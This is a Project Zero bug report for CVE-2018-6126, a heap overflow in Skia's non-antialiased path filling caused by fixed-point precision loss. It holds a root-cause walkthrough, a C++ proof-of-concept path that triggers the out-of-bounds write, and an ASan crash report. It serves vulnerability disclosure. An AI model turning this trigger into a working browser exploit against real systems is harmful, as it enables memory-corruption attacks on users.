New issue
Advanced search Search tips

Issue 1579 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Jul 26
Cc:



Sign in to add a comment

Skia: Heap overflow in SkScan::FillPath due to precision error

Project Member Reported by ifratric@google.com, May 18 2018

Issue description

There is a heap overflow in Skia when drawing paths with antialiasing turned off. This issue can be triggered in both Google Chrom and Mozilla Firefox by rendering a specially crafted SVG image. PoCs for both browsers are attached.


Details:

When Skia fills a path with antialiasing turned off, SkScan::FillPath gets called
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=609

SkScan::FillPath first checks that the path fits in the current drawing area (Clip). This happens in
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=645

If the clipping test passes at this point, then no other clipping checks will be performed when drawing this path. However, due to precision errors, it is possible that the drawing algorith is going to end up drawing outside of the current drawing area, which results in a heap overflow.

In this case, the precision errors happens when drawing cubic splines. In SkCubicEdge::setCubicWithoutUpdate, various factors needed to draw the spline are calculated. For example, on this line
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=430
when calculating fCDx, some precision will be lost because C and D end up being shifted to the right. Because of that, it is possible that the fCDx value is going to end up smaller than it should be.

The (too small) value of fCDx then gets added to the X coordinate here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=471

it then gets propagated here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=492

and here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?g=0&rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=116

where fX ends up being -2**15 (this corresponds to -0.5 in SkFixed type) and fDX ends up negative. When a spline (now approximated as a line segment) gets drawn in walk_convex_edges or walk_edges, fDX gets added to fX
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=267
then the resulting value gets rounded
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=249
and becomes -1, which leads to an out-of-bounds write.

Example Skia program that demonstrates the issue:
Note: it should be built with ASan enabled.
=================================================

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkBitmap.h"
#include "SkGradientShader.h"

int main (int argc, char * const argv[]) {

  int width = 100;
  int height = 100;

  SkBitmap bitmap;
  bitmap.allocN32Pixels(width, height);
  SkCanvas bitmapcanvas(bitmap);
  SkCanvas *canvas = &bitmapcanvas;

  SkPaint p;

  p.setAntiAlias(false);

  p.setStyle(SkPaint::kFill_Style);

  SkColor colors[2] = {SkColorSetARGB(10,0,0,0), SkColorSetARGB(10,255,255,255)};
  SkPoint points[2] = {
     SkPoint::Make(0.0f, 0.0f),
     SkPoint::Make(256.0f, 256.0f)
  };
  p.setShader(SkGradientShader::MakeLinear(
             points, colors, nullptr, 2,
             SkShader::kClamp_TileMode, 0, nullptr));

  SkPath path;
  path.moveTo(-30/64.0, -31/64.0);
  path.cubicTo(-31/64.0, -31/64,-31/64.0, -31/64,-31/64.0, 100);
  path.lineTo(100,100);
  path.lineTo(100,-31/64.0);

  canvas->drawPath(path, p);

  return 0; 
}

=================================================

Running this results in the following UBSan error:
../../include/core/SkPixmap.h:386:83: runtime error: left shift of negative value -1
SUMMARY: AddressSanitizer: undefined-behavior ../../include/core/SkPixmap.h:386:83 in 

If the program is compiled without undefined-behavior checks, then running it generates the following ASan report

=================================================================
==18863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6140000021d0 at pc 0x0000018df91a bp 0x7ffcdc7708d0 sp 0x7ffcdc7708c8
WRITE of size 4 at 0x6140000021d0 thread T0
    #0 0x18df919 in (anonymous namespace)::DstTraits<unsigned int, ((anonymous namespace)::ApplyPremul)0>::store((anonymous namespace)::SkNx<4, float> const&, unsigned int*, (anonymous namespace)::SkNx<4, float> const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fGradientPriv.h:73:18
    #1 0x18df919 in void (anonymous namespace)::ramp<unsigned int, ((anonymous namespace)::ApplyPremul)0>((anonymous namespace)::SkNx<4, float> const&, (anonymous namespace)::SkNx<4, float> const&, unsigned int*, int, (anonymous namespace)::SkNx<4, float> const&, (anonymous namespace)::SkNx<4, float> const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:45
    #2 0x18d3eb1 in void SkLinearGradient::LinearGradient4fContext::shadeSpanInternal<unsigned int, ((anonymous namespace)::ApplyPremul)0, (SkShader::TileMode)0>(int, int, unsigned int*, int, float, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:256:13
    #3 0x18d3eb1 in void SkLinearGradient::LinearGradient4fContext::shadePremulSpan<unsigned int, ((anonymous namespace)::ApplyPremul)0>(int, int, unsigned int*, int, float, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:209
    #4 0x18d3eb1 in SkLinearGradient::LinearGradient4fContext::shadeSpan(int, int, unsigned int*, int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:181
    #5 0x167213d in SkARGB32_Shader_Blitter::blitH(int, int, int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBlitter_ARGB32.cpp:377:25
    #6 0xd1cf47 in walk_convex_edges(SkEdge*, SkPath::FillType, SkBlitter*, int, int, void (*)(SkBlitter*, int, bool)) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:261:30
    #7 0xd1b364 in sk_fill_path(SkPath const&, SkIRect const&, SkBlitter*, int, int, int, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:471:9
    #8 0xd1e625 in SkScan::FillPath(SkPath const&, SkRegion const&, SkBlitter*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:656:9
    #9 0xd0c39a in SkScan::FillPath(SkPath const&, SkRasterClip const&, SkBlitter*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:827:9
    #10 0xb9ae3d in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1024:9
    #11 0xb9c046 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1141:11
    #12 0x164e60a in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:15
    #13 0x164e60a in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:411
    #14 0xb44c54 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2145:23
    #15 0xb3bf59 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1708:11
    #16 0x86021e in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:37:11
    #17 0x7fd0eb3672b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #18 0x770659 in _start (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x770659)

0x6140000021d0 is located 0 bytes to the right of 400-byte region [0x614000002040,0x6140000021d0)
allocated by thread T0 here:
    #0 0x825b20 in __interceptor_malloc (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x825b20)
    #1 0xdf1d74 in sk_malloc_flags(unsigned long, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:69:13
    #2 0x1671202 in sk_malloc_throw(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../include/private/SkMalloc.h:59:12
    #3 0x1671202 in SkARGB32_Shader_Blitter::SkARGB32_Shader_Blitter(SkPixmap const&, SkPaint const&, SkShaderBase::Context*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBlitter_ARGB32.cpp:336
    #4 0x16643f9 in SkARGB32_Shader_Blitter* SkArenaAlloc::make<SkARGB32_Shader_Blitter, SkPixmap const&, SkPaint const&, SkShaderBase::Context*&>(SkPixmap const&, SkPaint const&, SkShaderBase::Context*&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkArenaAlloc.h:103:30
    #5 0x1663681 in SkBlitter::Choose(SkPixmap const&, SkMatrix const&, SkPaint const&, SkArenaAlloc*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBlitter.cpp:1119:34
    #6 0xb9b4fe in SkAutoBlitterChoose::choose(SkDraw const&, SkMatrix const*, SkPaint const&, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkAutoBlitterChoose.h:36:20
    #7 0xb9aa59 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:966:34
    #8 0xb9c046 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1141:11
    #9 0x164e60a in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:15
    #10 0x164e60a in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:411
    #11 0xb44c54 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2145:23
    #12 0xb3bf59 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1708:11
    #13 0x86021e in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:37:11
    #14 0x7fd0eb3672b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)

SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fGradientPriv.h:73:18 in (anonymous namespace)::DstTraits<unsigned int, ((anonymous namespace)::ApplyPremul)0>::store((anonymous namespace)::SkNx<4, float> const&, unsigned int*, (anonymous namespace)::SkNx<4, float> const&)
Shadow bytes around the buggy address:
  0x0c287fff83e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c287fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c287fff8400: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c287fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c287fff8420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c287fff8430: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
  0x0c287fff8440: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c287fff8450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c287fff8460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c287fff8470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c287fff8480: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==18863==ABORTING


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

 
test_chrome.html
619 bytes View Download
test_ff.html
741 bytes View Download
Project Member

Comment 2 by ifratric@google.com, Jul 26

Labels: -Restrict-View-Commit
Status: Fixed (was: New)
Project Member

Comment 3 by ifratric@google.com, Jul 26

Labels: CVE-2018-6126

Sign in to add a comment